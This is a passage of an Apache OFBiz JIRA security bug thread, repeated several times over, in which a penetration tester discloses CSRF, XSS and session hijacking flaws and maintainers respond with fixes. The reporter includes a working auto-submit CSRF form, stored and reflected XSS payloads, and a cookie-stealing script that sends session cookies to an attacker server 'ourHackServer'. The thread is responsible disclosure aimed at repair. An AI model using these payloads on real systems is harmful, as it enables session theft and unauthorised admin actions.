> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675005#action_12675005 ]

Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------

Hi Michele,

I'm not sure what to do, could you please explain the steps needed to reproduce this XSRF issue ?

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675037#action_12675037 ]

Michele Orru commented on OFBIZ-1959:
-------------------------------------

Hi Jacques.

The steps are easy:

1. log in to the same ofbiz istance with two different browsers, let say Opera and Firefox.

2. now if you put a proxy between the browser and the outgoing call, let say Burp or WebScarab, you can log, block, and modify
requests/response pairs: then send a "createPerson" request in Firefox, log the POST raw request comprehensive of header and content.

3. now do the same in Opera, but blocks the outgoing request to createPerson and modify the HTTP entire packet (with your proxy tool of choice) with the previously copied data from Firefox.

4. Submit your data in Opera, and then you can see that the request is succesfull and the person has been added.

Clearly the jsessionId has to be the same (you have to change it), and you have to imagine that a XSRF attack is more a social engineering attack that something else...you also have to imagine that the things we're doing here with our proxies, in fact in a real attack
everything would be done with JS (grab the cookie, GET an external javascript that contain the payload, and so on).

Anyway, if we don't add a random token to each POST/GET requests, XSRF is possible almost everywhere and everytime, it only depends to the knowledge of the attacker that creates a so called good-social-engineered-powered JS vector.


Let me know if it is clear for you now Jacques.

Anyway, I'm defintly happy that with my explanations, my pen tests and your (David and Andrew included) deep Ofbiz knowledge
we're improving Ofbiz security...That is GREAT guys.

All the best


Michele Orrù

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675054#action_12675054 ]

Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------

Thanks Michele,

I did not try yet but yes it's very clear now. I will try ASAP!

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675503#action_12675503 ]

David E. Jones commented on OFBIZ-1959:
---------------------------------------

Thanks for your comments Michele. I took a look at the viewprofile screen and various others using a parameter like this and found various places that needed encoding that didn't have it from my first pass.

The problems you mentioned specifically, and hopefully most (or even all!) similar problems with labels and links (in the screen, menu, and tree widgets), hidden form fields, etc are now resolved. I was at least able to go to all of the Party Manager viewprofile tabs without the script being run.

Thanks again for testing more Michele, and for others interested, please feel free to do the same!

Maybe some day we'll get a chance to do a hackathon where we literally try to hack OFBiz...

Oh, and yes, more effort for XSRF and session hijacking is needed. I've been thinking about that off and on and haven't come up with a good way to do a rotating or random token without significant overhead or the possibility of valid links not working for pages loaded in the past (like another tab/window in the same session or something, like the problem we have with the externalLoginKey).

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675505#action_12675505 ]

David E. Jones commented on OFBIZ-1959:
---------------------------------------

I forgot to mention, my last changes are in SVN rev 746409.

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ]

Michele Orru commented on OFBIZ-1959:
-------------------------------------

Hi David, Hi Jacques

Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :(

Anyway, here it is the "quite malicious" request:

GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1

Host: demo.hotwaxmedia.com

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin

Cache-Control: max-age=0




The code rendered in the response, if you need it to better understand the situation:


[...]

<!-- Begin Section Widget  -->

<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->

<form method="post"  action="/catalog/control/createProdCatalog"  id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">

<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">

  <tr>

   <td class="label">Catalog [ID]</td>

   <td><input type="text" name="prodCatalogId" value="DemoCatalog&quot;&gt;&lt;script&gt;alert&#40;6&#41;&lt;&#47;script&gt;" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>

</td>

  </tr>


[...]

Let me know

Michele Orrù

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
